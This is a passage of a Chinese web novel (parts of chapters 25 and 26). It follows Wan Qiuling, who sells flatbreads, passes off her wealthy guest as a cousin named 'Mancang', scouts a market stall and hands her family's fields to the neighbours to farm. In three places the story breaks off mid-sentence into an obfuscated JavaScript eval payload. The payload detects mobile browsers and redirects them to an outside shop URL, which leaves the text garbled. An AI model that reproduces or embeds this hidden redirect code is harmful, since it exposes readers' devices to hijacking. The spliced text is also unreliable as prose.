万秋灵早已神游天外，心脏怦怦直跳。她果然没看错……这人真的不差钱，随手就是一枚金锭。 五两金，能换成五十两银子！她起早贪黑、精打细算摆摊的这些日子，也不过攒下几百文铜板，距离凑够一贯钱都还差着呢。 有人问话，她便胡乱地点了点头，实则完全没注意他们在说什么。 万秋灵看着那枚金灿灿的元宝，又看了看气度不凡的段渊，忽然想到另外一个问题。 “等等……我先打断一下。齐公子，虽然我家跟村里人往来少，但难免会有邻里走动，要是不巧被人看见，我们最好能有个统一的说法。” 伤养好了肯定得活动活动，万家突然出现个生人，村民多少都会好奇地问上几句。 万老爹听了，也冷静了些，沉吟道：“这倒是个事儿。” 如果只说是客人，难免要被追问其身份以及与万家的联系，养伤的事不方便外传，随意让一个外男住下，传出去又不好听。 但很快，万老爹就有了主意，他摆摆手，颇有些一劳永逸的架势。 “说是远房亲戚不就行了？反正咱家是外来的，谁知道有没有这门亲戚。就说是……你娘那边，隔了不知道多少房的表亲家的孩子，投奔过来，暂时歇歇脚。” 这个说法还挺熟悉的……万秋灵想起这位齐公子就自称是绸缎庄齐老板的远亲，属于远到什么程度、具体什么关系，一般人也懒得追根究底的万能说辞，简单又省事。 她不由得偷偷看了他一眼。 段渊脸上看不出任何异样，只颔首道：“全凭伯父安排。” …… “满仓？”杜氏不过是出门理个地除除草的功夫，回来就得知凭空多了个远房的表侄儿。 万小兰在外头玩了回来，听说要叫这个客人新的称呼，更是摸不着头脑，疑惑地问：“表哥？” “对，可得记住喽！是你的表哥，别人问起来就这么说。”万老爹叮嘱道，语气不容置疑。 “哦……”万小兰纠结半天，才试探地朝段渊喊了一声：“满、满仓哥。” 段渊神色如常，甚至对着她微微颔首，算是应下了这个新名头。 私底下，万小兰凑到姐姐身边，脸上写满了困惑：“阿姐，为什么改叫这个呀？客……表哥他不是有自己的名字吗？” “咳咳，”万秋灵有些尴尬地清了清嗓子，“那不是不够接地气嘛。你想想，是喊齐锦表哥、锦哥哥顺口，还是满仓哥顺口？” 这名字其实是她随口提议的，本来脑海里还闪过了树根、柱子这些更土气的绰号，但一对照齐锦那张脸，违和感太强，最后折中想了这个。 让她意外的是，齐锦本人对此接受度极高，听完便从善如流地点头，那神情仿佛在说：姑娘取的名字甚好。 万小兰歪头想了想，认同道：“也对哦，跟我玩的伴儿叫栓子、富贵，咱们村里的人都是这样，满仓哥听着还怪喜庆的嘞！” 这个新身份带来的波澜，一直持续到第二天早起赶集的时候。 雨歇后，路也干了，万秋灵和墩子都要出摊。 当墩子看到万家姐妹身边跟着一个高大挺拔的陌生青年，而小兰妹子自然而然地喊了一声“满仓哥”时，明显愣住了。 这青年分明就是那天秋灵姐让他帮忙，神神秘秘背回去的那个昏迷不醒的人！ 只是当时那人狼狈不堪，如今收拾齐整，竟是这样一副模样，哪怕天还没彻亮，看不全乎，也有些让人不敢轻易直视。 墩子忍了又忍，还是慢下脚步，挨到万秋灵身边，压低嗓子问：“秋灵姐，这，这是啥情况啊？他不是……” 万秋灵早就想好了怎么圆，煞有其事地回道：“哦，是我娘那边的远亲，叫满仓。他来我家走动，今天顺道一块去镇上采买些东西。” 她也压低了声音，带着分享秘密的意味：“他是……跟家里闹了点别扭，自个儿偷偷跑出来的。还走的野路子，说是想见识见识，结果就出了意外，才弄成那天那样。这种糗事，他不好意思说，家里也叮嘱了别往外传。” 墩子本性憨实，对万秋灵又颇为信服，听她这么一说，露出一副“原来如此我懂了”的表情。 “秋灵姐你放心，我晓得的，绝不会往外说！” 虽然他们都压低了音量，但走在前面的段渊耳力很好，将万秋灵那套忽悠人的说辞听了个七八成。 他嘴角忍不住弯了弯，这故事编起来倒是顺溜，一套接一套的。 到了镇外集市，四人暂时分开。段渊有事情要办，独自离去，其他三人则熟门熟路地去抢占还不错的摊位。 上次老五买了鲜虾饼带回码头，分给其他几个兄弟尝了。 连一向笑他跟姑娘似的挑嘴的老三，吃了之后都没再嘴硬，只嘟囔了一句：“还是贵了，划不来。” 老五听不进这话，他干活卖力，挣得也比他们多些，想多花这几文也承担得起。 结果一连两天，一天下雨，一天没见到出摊，可把老五给惦记坏了。今天一来他就四处张望寻找，看到万家姐妹的身影，赶紧跑了过去。 “要两个鲜虾饼，两个什锦菜饼！”老五爽快地说。 万秋灵已经很是眼熟这位客人，不等他询问，便主动笑着解释：“前天下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376426|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了雨，泥巴路实在难走，就没来。” “饼子给您，拿好嘞！”万小兰把打包好的饼子递过去。 不光是老五，今天有好些熟客都问昨日雨停了怎么没来。有的还真心实意地表达了担心，怕她们是遇到了什么难处，两姊妹都一一耐心地解释，心里有些感动。 一位经常光顾的大婶，买完却没有立刻离开，而是指了指她们摊子上摆放试吃饼的小碟子。 “丫头，你这法子，现在可不止你这有了。你瞧那边，还有那头，”她伸手指了几个方向，“好些卖吃食的摊子，都弄了点小份的给人尝。虽说尝味不新奇，但像你这样，切得方方正正的，用个小签子插着，干净又方便，我还真是最早从你这儿看到的。” 其实在大婶提醒之前，万秋灵就已经发现了。 如今这集市外围，好些个卖饼子、馒头甚至酱菜的摊子上，都摆出了类似的小份试吃品，跟超市的试吃区很像。就连以前最多掰点边角，或者干脆不给尝的馍馍摊，现在也切好了一小碟的馍块。 这种方法容易出现一个问题，初衷是吸引顾客、促进购买，但会有专程来白吃而不买的人。一家的分量少，多吃几家也算有点嚼头，甚至有的人反复薅同一家。 恰好这日就有一个摊主和客人因此发生争执。 卖馍的摊主是个精瘦的中年汉子，做的就是薄利多销的买卖。 他原本觉得自家馍馍实在顶饱，不需要搞这些花头，又看到不少摊子在弄，似乎真的能多招揽生意，便也跟风切了一碟馍丁放着。 但他心里头计较得很，每一个来尝了没买的人，都暗暗记着。 就在这时，他盯上了一个穿着半新不旧布衫的男人，这人早上来尝过一回，没买，晃悠了一圈走了，中午竟又溜达过来，伸手去拿碟子里的馍丁！ 摊主顿时恼火了，他一把抓住那人的衣袖，声音拔高喊道：“哎！我说你，来我这吃了两回了！买过一次吗？” 那客人显然没料到，吃个免费的馍丁还能被摊主记住，更没想到对方会当场发难。 听到声音的众人都望了过来，尤其是周围那些摊主，以及一些正在挑选的客人，目光齐刷刷地落在了他身上。 那些眼神里带着鄙夷，仿佛在说：看着人模人样，原来是个专门占小便宜的。 客人脸上顿时青一阵白一阵，公开丢了面子，也恼羞成怒起来。 他猛地甩开摊主的手，扯着嗓子嚷嚷：“你这么大火气还做什么生意！摆出来不就是给人尝的吗？谁规定尝了就必须买？莫不是你这馍有什么问题，怕被人尝出来！” “你放屁！”馍馍摊主气得脸都红了，“我的馍干干净净，倒是你不要脸！大家评评理，哪有这样尝了又尝，一个子儿都不肯掏的？” 两人在摊位前吵得不可开交，引来更多的人围观。 “哎呀，吵什么吵，就为了几口馍丁……” “话不能这么说，人家做小本生意的，又不是让人白吃，想尝，尝一回不就得了。” “许是一次没尝着味儿呗。” “这人看着也不像吃不起馍的，何必呢。” 有的人觉得摊主小题大做，也有人认为是那客人做得不对。原本还算有秩序的集市一角，因为这场争执变得混乱起来。 他们来摆摊的一行人吃瓜吃入了迷。 万小兰也懒得吆喝了，聚精会神听那边的动静，墩子更是直接垫着脚，靠身高优势获取第一手情报。 25. 巧用工具人 卖馍的摊子四周聚集的人越来越多，附近摊位生意都受到了影响。 万秋灵一边招待来买饼的客人，一边竖起耳朵听他们吵架。忽地，一个清越的声音在身后响起，仿佛就在耳畔： “看来今日颇为热闹。” 万秋灵被这突如其来的声音吓一跳，转过头才发现段渊不知何时回来了，正垂眸看着她。 这人已经换了身新的行头，穿着样式简单的窄袖直裰，是随处可见的男子装束，在乡镇地方也不会显得有多突兀。 他手里提了一个深褐色藤编篮子，上头搭着一块布。 段渊扫过旁边那个卖空了的背篓，从藤篮里取出一个四四方方的包裹，轻轻放到了篓子里。 那包裹不大，用青色的布妥贴包好，看起来有些分量。 万秋灵秒懂，里面装的是钱！ 之前饭桌上，这位表哥与万老爹拉扯时提到，除了感谢救命之恩，也愿意资助万家做些小生意，算是谢礼的一部分。 这话说到万秋灵心坎里去了，咱老万家遇到了好心投资人啊！都说千里马常有，而伯乐不常有，她认为这是一位值得发展的合作伙伴。 发了笔不小的财，万秋灵心情大好，恨不得现在就拆开挨个掂一遍，感受那股压手的坠感，但她忍住了，还加了些芭蕉叶子和旧布把包裹仔细盖住。 摊上还剩二十来个没卖完的饼子，她瞧了瞧站在一旁的段渊，贴心地提议：“还得过会儿才能卖完，你要不先去歇歇，站着怪累的。” 集市上正是热闹的时候，她声音不算大，段渊挑了挑眉，似乎没听清，于是顺势俯身凑近了些： “嗯？姑娘说什么？” 他一弯腰，两人之间的距离瞬间拉近，万秋灵甚至能从他的瞳孔中看清自己的倒影。这张脸给她的视觉冲击力有些大，对视时心跳不自觉加快。 她赶紧往后挪了一步，才复述道：“我说，你要不要去茶滩坐坐，饼子还没卖完。” 段渊直起身，仿佛刚才的靠近只是无心之举，他摇了摇头道：“我在这里陪着你们。”说着，他竟又从那个藤篮里掏出一个小巧的马扎。 万秋灵很是诧异，没想到他连这个都准备了。 哪怕是在集市外围，不同摊主的用具也有很大差别。 有的东西是现做现卖，这类要站着操作；有的吃食摊子在后面空地摆几条长凳和小桌，让客人能坐着享用；而像她和墩子这样摆着卖成品的，大多是从家里捎个小板凳，绑在背篓上带来，或者干脆垫块布席地而坐。 她原本就没想着让这位贵客一起摆地摊，也就没给他带小凳子。 “呃……都行，你开心就好。” 万秋灵看着微微蹙眉、似乎在研究如何优雅地坐在小马扎上的青年，在心里嘀咕，他或许是想体验一番民间生活吧。 就是这画风怎么和她预想的有点不一样呢？ 按理说这大高个往摊子边一杵，老远便能瞧见，再加上这张脸，应该是招揽顾客的活招牌才对…… 结果有几个原本朝摊位走来的客人，看到段渊后，脚底一个大拐弯，到旁边假装看吵架去了，愣是没敢靠近。 果然，还是太有距离感了些！ 正好万秋灵现在心思也飞远了，剩下的货不多，要是卖不完带回家也行，她索性对段渊道：“你随我去一个地方，怎么样？” 段渊闻言，立刻放弃了跟马扎较劲，回望向她：“好，去看摊位？” 他问得自然，完全洞悉了万秋灵的目的地。 “嗯。”万秋灵背起那个背篓，提醒妹妹和墩子别光顾着热闹，看好摊子和东西，之后领着人朝梅花桥街的方向走去。 带上他，当然是有原因的。 一来他自称是绸缎商人，生意之事总有相通处，说不定能给点有用的建议。二来那个胡管事油滑得很，问了两次，都是一套旧说辞。 万秋灵当然清楚，位置紧俏的固定摊位，多半是可以私下运作的，无非是打点够不够的问题，她没舍得给胡管事塞钱。 而身边这位满仓表哥的气场，都能让熟客止步，看能不能顺便也把那个山羊胡子唬一唬，替她省些打点钱。就算手头松些了，她也不想随便浪费在贪心的管事身上。 “我打算租个摊位，再买些辣椒和香料试试，做些更够味的东西。”万秋灵主动提起话头，“你见多识广，到时候帮我尝一尝，然后给点意见？” 万秋灵想尝试在控制成本的条件下，最大限度还原出理想的味道。表哥毕竟算贵客，一定程度上代表更有消费能力的群体，听听他的反馈总归没有坏处。 段渊走在她身侧半步的位置，闻言自是答应：“能帮上姑娘的小忙就好，是我有口福了。” 他这话说得客气又熨帖，就……还挺会聊天的，万秋灵心想。 两人说着话，很快便来到了梅花桥街街道比外围集市热闹许多，溪岸两边的所有摊位都划了线，摆成长排，一眼看去很是齐整。 刚走到胡管事那处小屋的门口，便听到里面传来一阵激烈的争吵声，隔着门板都能听清几分。 怎么这儿也在吵架？万秋灵脚步一顿，和段渊对视一眼。 一个年轻些的嗓音语速很快：“……胡管事，您这就不讲理了！我那南十四号摊，跟钱货郎的摊位同一天到期，钱我都带来了，怎么他的能续租，我的就不行？这，这续租难道还分个三六九等！” 接着是胡管事慢悠悠的声音：“哎，小后生，话可不兴这么说。钱货郎是规矩人，提前大半个月就来打过招呼要续租的。你呢？今天才来问！南十四号那位置，惦记的人多着呢，都是先到先定，人家是走章程，付了定钱的。” “我租这摊位的时候，哪里说过续租还要提前半个月打招呼？您这是找了由头，要把好位置腾给旁人！”年轻的摊贩显然更愤怒了。 另一个声音插进来，打着圆场：“小兄弟，消消气。这提前打招呼，是咱梅花桥街不成文的规矩，老租户都晓得，你刚来，不知道也正常……” 接着又是一番争执，隐约还有拍桌子声。 不多时，门被猛地拉开，一个满脸愤懑的青年被一个中年男子半拉半劝地带了出来，两人都没心思注意门边站着的人。 屋内，胡管事余怒未消，正端起茶杯想喝口水压压火，抬眼看见万秋灵走了进来。 他刚想习惯性地搬出那套说辞打发了人，又看到紧随着进来的段渊。 胡管事到了嘴边的敷衍话瞬间卡住。他捋了一把山羊胡子，带着几分公事公办的客气，放下茶杯问道：“二位……有何贵干？” 万秋灵将他的变化看在眼里，心中暗忖，带上工具人果然有用。 “胡管事，又来打扰了。方才我在外头听到几句，可是每月摊位都有变动？请问下一次张榜，是什么时候？” 胡管事清了清嗓子，往段渊那边瞄了一眼，语气规矩不少：“啊，这个……这月月末倒数第三日，辰时初刻，榜单会贴在这门外墙上。看中了，当场交定金、画押立契。” 也就是三天之后，新一轮的摊位信息将公布出来。万秋灵点点头，又问：“那这租法，是价高者得，抽签决定，还是？” “咱们梅花桥街，摊位明码标价，榜上都写得清楚。为避免争执，规矩是先到先得，谁先定下、交了钱，就是谁的。” 得到了想要的信息，万秋灵心中一定。 她又借机问了些细则，这才满意地与段渊一同离开。 “你瞧，是不是那个人？” 不远处一个卖粗陶器的摊位后面，有个满脸横肉、眼神凶恶的男人，正死死盯着万秋灵的身影。 那男人看到她，飞快地给旁边的同伴使了个眼色，下巴朝少女的方向抬了抬。 此时万秋灵恰好侧过头，正向段渊说着一会采购的打算。 午后的阳光洒在她清丽白皙的脸蛋上，鼻梁秀挺，眼眸澄澈如水。 同伴眯着眼仔细看了看，然后肯定地点了点头：“是她！这张脸，不会记错。”毕竟这丫头模样出挑，在人群中颇为显眼，见过就有印象。 两个男人交换了一下眼神，下意识就想跟上去，但目光触及万秋灵身边那道颀长的身影时，又同时迟疑。 那人给他们一种隐隐的危险感，像是习过武，甚至见过血的练家子，因此不太敢贸然行动。 “她好像刚从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17384885|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老胡那屋里出来？”最先发现的男人低声问。 “看样子是的。”同伴答道。 “走，进去问问。” 两人看着万秋灵和段渊的背影消失在街角，转身便朝着胡管事的屋子走去。 …… 万秋灵带着段渊一路从粮食铺买到肉摊，又转到杂货铺和集市的小摊。购买了盐、姜蒜、干辣椒等调味品，还买了少量价格不低的香料，和一包白糖。最后去酒肆，买了一小坛酒。 采购的东西不少，段渊眼也不眨，又在街边铺子里买了一个结实方正的木匣子，样式简洁大方，看着像酒楼用来传送菜肴的食盒，或者书生装置书本笔墨的文具箱。 他很自然地把最重的面粉、白米和肉放进木匣中，匣子容量不小，但也塞得满满当当。 而万秋灵的背篓里除了底下的包裹，只放了些轻便的杂货。 “沉不沉？”段渊一手提着木匣，一手拎着酒，侧过头问她，“若还是压着肩膀，再匀些给我。” 万秋灵忍不住莞尔：“不沉，重的都被你拎着呢。” 那木匣更像是放风雅物件的，旁人瞧见了或许还当段渊是翩翩书生，结果里面装满了油汪汪的猪肉和米面，这画面…… 回到集市外围的摊子时，墩子还剩两个竹篮没卖掉，她们带的饼子早已售罄。 万小兰兴奋得手舞足蹈，跟姐姐描述方才那场争吵的最终结果。 “那个客人耍无赖，非说馍馍不干净，吃了肚子疼。可大家都不相信，没人帮他说话！最后他脸上挂不住，灰溜溜跑了。卖馍的大叔气得不行，说是再也不搞馍丁试吃了。” 段渊看了看天色，日头已经过了正午，他转向万秋灵，温声问道：“东西卖完了，可要在镇上用过午饭再回去？” 经他一提醒，万秋灵才想起今天没带干粮来。杜氏觉得让贵客也跟着啃干粮太失礼，便没给他们准备午饭，只说带客人在镇上吃点。 她忽然想起第一次来镇上时，几个人蹲在路边，就着凉水啃自家带的糙面饼子和咸菜疙瘩。 那时她看着街边热气腾腾的面摊，心里就想着，等赚到了钱，一定要吃上一碗热汤面。 那个熟悉的面摊，就在集市外围的一角，支着棚子，小桌上正空着。 “好啊。”万秋灵眼睛亮了起来，招呼着大家，“走，我们一起去吃阳春面吧！”也算是圆了之前小小的心愿。 墩子脸上顿时露出为难的神色。他在镇上卖东西，最多也就花两文钱买过一个大白馒头解馋，一碗阳春面要四文钱呢！ 虽然今天竹篮卖得还行，但钱是要交给娘的，要是让娘知道他敢在外头花钱吃面，回去肯定得挨一顿抽，说不定爹也会一起抽。 “秋灵姐，我就不用了……”墩子摆了摆手，脸有点发红，他指着腰间的布口袋，“我带了干粮哩。” 万秋灵看出他的窘迫，想到接下来的打算，便开口邀请他：“墩子，这碗面我请你吃了，正好有件事想跟你家商量。” 她顿了顿，补充道：“我爹的腿伤还没好，家里的地，娘一个人忙不过来。我就想着，能不能花钱请你家帮着种，或者租给你们家种，到时收成了分些粮食当酬劳。你回去跟万叔和婶子商量商量，看看成不成？” 墩子听了这事，觉得没什么问题。家里劳力多，他自个儿也是个能干活的半大小子。秋灵姐家里那点地，照料起来不费事，而且她还请吃面呢！ “秋灵姐你放心，我回去肯定好好跟爹娘说！这事我看能成！” 四人来到面摊，在空桌坐下。摊主是位手脚利落的老伯，很快，热气腾腾的阳春面便一碗接一碗的端了上来。 雪白筋道的面条，汤里漂浮着一层油花，还有翠绿的葱花。 万小兰吸溜了好几口，忽然有些怀念，小声对姐姐说：“阿姐，这面虽然也好吃，但比不上爹爹以前做的……” 万秋灵其实也颇想试试万老爹的手艺，据说他最拿手的就是做面，面条劲道，比馒头和米饭都畅销，炒菜反倒成了浇头。 看来得多给万老爹捎几副汤药了，让杜氏监督着他喝。喝了药身体早点恢复，才能重拾事业，通通都忙起来！ 26. 种地外包 几人清晨摸黑就出发，村里人大都还没起，自然遇不到。回村时已经是午后，路上三三两两有从地里回来或是在村头聊闲话的村民。 这是段渊第一次在村中露面，引起了一阵小小的骚动。 “万家姊妹，墩子，回来啦？你们这么多人一块儿去的镇上？”一个嗓门挺亮的婶子率先搭话，话是对着其他三人说的，眼睛却一直往旁边的段渊身上瞟，满是好奇。 万秋灵微笑回应：“是啊，人多搭个伴，路上热闹些。” 另一个妇人显然按捺不住，干脆直接指着段渊问道：“秋灵，你旁边这个是？瞧着面生，不是咱们村的吧？” 不仅不是大洼村的，附近两个村她也没见过这号人，难不成是镇上来的？ 万小兰接过了话头，按照家里统一好的口径答道：“这是我娘那边的远房表哥，叫满仓，来家里做客的！” 万秋灵顺势点点头，也没有要多介绍两句的意思，脚下没停，继续往自家方向走。 他们身后，那些婶子、大娘们可没散，反而聚得更紧了些，根据已知的信息快速讨论起来。 “表哥？没听说过杜妹子娘家有什么走动的亲戚啊？” “万家本来就是外乡搬来的，老家离得可远了，你上哪儿听说去？” “那后生长得可真俊呐！就是穿得比镇上的差一些……要是再好好收拾收拾，指定气派着呢！” “个头也拔得高！几个村里像他这么高的可少见。” 有个婶子听了，想起家里年纪相仿的女婿，忍不住将两人对比了一通，带着点酸意道：“长得俊顶什么用？瞧那模样，白白净净的，一看就不是下地干活的料子。还不如墩子瞧着能干踏实！” 她就是看中女婿种地是把好手，才同意女儿嫁过去的，就是长相嘛，稍微有点磕碜。 旁边的人笑着反驳：“不会种地，万一人家会读书会认字呢？就他手里拎着的木盒子，跟隔壁村老李家那个，去学堂的娃子使的挺像，瞅着还更讲究。指不定里头装了书，走亲戚都不忘带出来看呢！” 书读出来，以后是要吃公家饭的，庄稼汉哪里能比？一听这分析，不少人都琢磨起来，心思各不同。 那有女婿的婶子听完更是不爽利了，嗤笑一声：“万家亲戚要真出个读书人，他们一家子还能窝在咱们这村里？读书人那得多金贵，哪会随便到乡下穷亲戚家里走动？” 赵家婶子一直静默着没说话，倒更认同木盒子里面装的不是书。她刚才瞥到盒子边还有白面印子呢，读没读书不晓得，但肯定拎了好东西上门。 众人你一句我一句，猜测纷纷。 有些个心眼活泛的，已经想着找万家人打听打听这后生亲事定了没，若是没定，还能替屋里和亲戚家待嫁的女儿考虑着。 到了村尾，墩子着急回家跟父母商量帮万家照看田地的事，跟他们打了声招呼便匆匆回屋了。 万秋灵心里头有两件惦记的事。梅花桥街的摊位，大致流程已摸清，只等着张榜那天去抢；还有之前计划的肉馅饼，如今原料充足，摊位有望，可以开始实验了。 歇了口气，万秋灵便钻进了灶房。上次围观杜氏发面，虽然被老鼠搅了局，但大致用量和步骤她心里有了谱。 她取出一小盆面粉，第一次尝试用老面引子。和面全凭手感，水多加面，面多加水，不知不觉就和了半盆。 万小兰则是在姐姐的指导下，烧了小火烘干辣椒。她一边控制火候，一边用锅铲勤翻，围着土灶像个旋转的小陀螺。 等待发酵时，万秋灵选了一块精肉，加了些肥膘，洗净后开始剁馅。肉不比蔬菜，剁起来费劲得很，好在只是实验，用量不算大。 等到肉馅变得细腻，她的手臂也已经酸麻了一半。 中途段渊还在灶房门口问了句是否需要他来帮忙。 万秋灵当时正费力揉着右边胳膊，下意识摇头拒绝了：“不用不用，我自己能行。”哪有让客人来干活的道理。 等她累得瘫坐在小凳上歇息时，才后知后觉，心里那叫一个悔。下次，下次一定不再为了那点面子死撑了！管他是贵客还是谁，总归是能剁馅的人，有力气不用白不用。 炒过辣椒的锅残余着辛辣的气息，万秋灵用竹刷和清水仔细涮了两遍锅，这才舀出一半剁好的肉开始炒制。 猪肉里加了白酒和葱姜水去腥，还有新的调味料，翻炒一会儿便香味四溢，随着炊烟袅袅飘出了灶屋。 这香气，自然也如往常一样，飘过了低矮的篱笆墙，钻进隔壁墩子家。 罕见地，墩子娘这次闻着味却一点不恼，脸上还带了笑。 “她真这么说的？” 墩子回来先告诉了在家养胎的大嫂，大牛媳妇知道这是个好消息，等男人和公婆从地里回来，便赶紧把这事说了。 就这样，王家人等不及做晚饭吃，先讨论开了。他们一家干活勤快，晚饭向来吃得比别家早些，耽误一会儿也没事。 大牛听了，先是夸：“秋灵妹子是个孝顺的，生意刚做出点苗头，就想给杜婶子减轻担子，难得。”杜氏这时候还在坡上拔草没回来呢。 墩子娘最关心的还是实际好处，好奇地问：“她说给钱，给多少？” 墩子挠挠头：“秋灵姐没说具体，就说先问问咱家的意思，看是帮着种，还是租给咱家，到时候分些粮食给咱。” “万飞兄弟腿还没好利索，”墩子爹开了口，“他家就那么几亩地，咱帮着种了也不算事，哪能真要人家的钱？” 他念着邻里情分，互相帮衬是应该的。 大牛也点头附和：“娘，咱不能收这个钱。你没听墩子说，秋灵妹子今儿还请他吃了碗阳春面呢！平常她琢磨出什么新点子，也没少往咱家送吃的。” 墩子娘被丈夫和儿子这么一说，脸上有些挂不住，嘟囔道：“我不就随便问一嘴嘛？又不是说准了要收钱。” 一直安静听着的大牛媳妇柔声开口，打了个圆场：“秋灵妹子也说了可以分些粮食。咱们就象征性地收一点，全当是个心意，也免得她们家觉得过意不去。就是多了这几亩地，爹娘和大牛又要多辛苦些了。” 她这话说得妥帖，既给了婆婆台阶下，又点明了王家出力的功劳，不是借个鸡蛋锄头这样的小事。 听了儿媳这话，墩子娘脸色果然好看许多，顺势说：“辛苦点怕啥，庄稼人还能怕干活？就这么着吧！” 墩子娘心里也盘算开了，分粮食也行，等孙子生下来，家里多一张嘴，添点收成总是好的。 隔壁那丫头又是个有成算的，跟她家关系处好了，指不定以后还能得些别的帮衬。 …… “阿嚏！” 万小兰连打了两个响亮的喷嚏，眼泪汪汪的。她面前摆着个石臼，里面是捣了一半的干辣椒面，粉末飘进鼻子里痒痒的。 “这些都要捣成粉吗，阿姐？”万小兰看着簸箕里铺得满满一层的干红辣椒，感觉任务艰巨。 “嗯，捣一次能用好些时候。”万秋灵正在案板上笃笃地切着蔬菜，“这些都是晒透炒透了的，没有水汽，装进罐子里密封，不容易坏，平时用着方便。” 她将放凉的肉馅与蔬菜末混合，搅拌均匀。摆摊卖的饼子，肯定不能做纯肉馅的，那样定价太高。即便是镇上卖的肉包子，也多是菜蔬混着肥瘦丁，纯肉馅要酒楼馆子里才卖得开。 杜氏从坡上回来，洗了手也进了灶屋。 她先去看那盆面，伸手按了按，肯定道：“灵儿这面发得不错，松软有劲。饼子用不完的还能蒸几个馒头。” 又瞧这馅料，用来做包子也不错，但家里蒸架小，反而没有烙饼来得快当，杜氏便没提这茬。 就在这时，院门被敲响了。 “满、满仓哥……”墩子没想到开门的人会是段渊，一下子变得拘谨起来，比见到自家严厉的长辈还要紧张。 “我和娘一起来找秋灵姐，商量地里的事。” 段渊侧过身，请他们进来。 墩子娘下午在地里忙活，也听说了隔壁新来个表哥，此时亲眼见到，有些诧异。这小伙子生得可真周正，个头跟大牛差不多。 她暗自嘀咕，万家这不是来了个男丁吗？怎么秋灵这丫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17395435|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头反倒把地里的活往外推？ 心里存着疑惑，墩子娘见到万秋灵，便笑着寒暄，打听道：“秋灵，这位就是你娘家里面来的表哥吧？真是个精神的！是过来帮忙的？” 万秋灵听懂了她的潜台词，顺着话头就往下说：“没错，王婶，正是我娘那边的亲戚。” “表哥家里以前是做小买卖的，地里的活计一窍不通，谈不上帮忙。就是来住几天，散散心罢了。”说着，还露出有些无奈的笑。 墩子娘一听，心中顿时了然，原来是个绣花枕头，中看不中用！白长这么结实了。 但转念一想，要是他能干，这事哪能轮到自家？于是脸上的笑容更真切了些，连连应和：“做买卖好啊，比咱们土里刨食强。” 段渊坐在一旁沉默不语，不知从哪变出个小算盘摆弄着，还真像做惯了买卖的样子，仿佛没听到她们议论他四体不勤。 墩子听了却有些吃惊。满仓哥明明看起来无所不能，居然不会种地？不过既然是做生意的，好像也说得通…… 万秋灵和墩子娘你来我往，推让了一阵，最后谈拢了条件：地由王家帮着照料，收成五五分，王家得一半。 这分成在村里算相当厚道的，比墩子娘预想的还要多。杜氏已经忙活过开春，大部分都播完了种，之后只要地里料理得好，收成多，王家也得益。 正说着，杜氏端着一碟刚出锅的肉馅饼出来，热情招呼墩子娘：“他婶子，来得正好，刚烙的饼子，带回去给孩子们都尝尝吧！” 其实他们早在隔壁就闻到这勾人的香味，原本想等万家吃完饭再来谈，又怕太晚，才在这个点过来。 墩子娘正要客套推拒一下，杜氏却不由分说塞到她手里：“拿着！谢谢你们家肯帮忙。这些日子，真是忙得我歇口气都难！” 这话墩子娘听着舒坦，那点子不好意思也散了。两个妇人又亲亲热热地聊起了家常。 墩子被肉馅饼的香气勾得魂不守舍，生怕口水流出来，只好拼命把脑袋转向一边，不敢多瞧。 万秋灵悄悄对他招手，塞了个袋子过去，压低声音道：“墩子，明天村里赶集，帮我去屠户那儿称些猪肉和板油，顺便买只土鸡。” 墩子把东西藏进怀里，点了点头：“放心吧，秋灵姐。” 送走王家母子，院门关上。 这时，一直安静旁观的段渊才悠悠开了口，目光落在万秋灵身上，意味深长道：“万姑娘如何得知在下‘四体不勤，五谷不分’？” 这是秋后算账来了。 万秋灵当着人的面编排了一通，此刻脸上微热，却也不慌，半是诚恳半是阿臾地笑道：“我这不是猜的嘛，表哥一看就是做大生意的人！” 她眨眨眼，试图蒙混过关。 “哎呀，我去看看小兰那边辣椒弄好没有，可别把她呛坏了！”说完脚底抹油溜了。 段渊看着她略显仓促的背影，摇头失笑。 晚餐除了肉馅饼，万秋灵还做了道香煎五花肉，用上了新捣的辣椒面，撒上一点按比例调配的香料，没有多放。另有一盘清炒的蔬菜，算作荤素搭配。 主食有馒头，也有白米粥，自行选择。馒头架在粥上面蒸着，粥熬好了，馒头也蒸熟透了。 五花肉最是吸睛，煎得表皮焦焦的，刚出锅正热着，吃进嘴里，油脂和调味料一齐在唇齿间迸发，好吃到想嗦筷子。 一家人吃得忘乎所以，倒是把待卖的饼子都忘在脑后。 段渊见那肉片还冒着油泡，便先取了一个肉馅饼。饼子圆圆胖胖，表皮酥脆，内里柔软，馅料滋味十足。 饼子不大，他很快吃完，这才开始试五花肉。刚入口，就感觉香味很特别。 他过往所用的饮食，大都讲究“食不厌精，脍不厌细”，每道食材都需经过精细处理，尤其追求鲜美雅致。 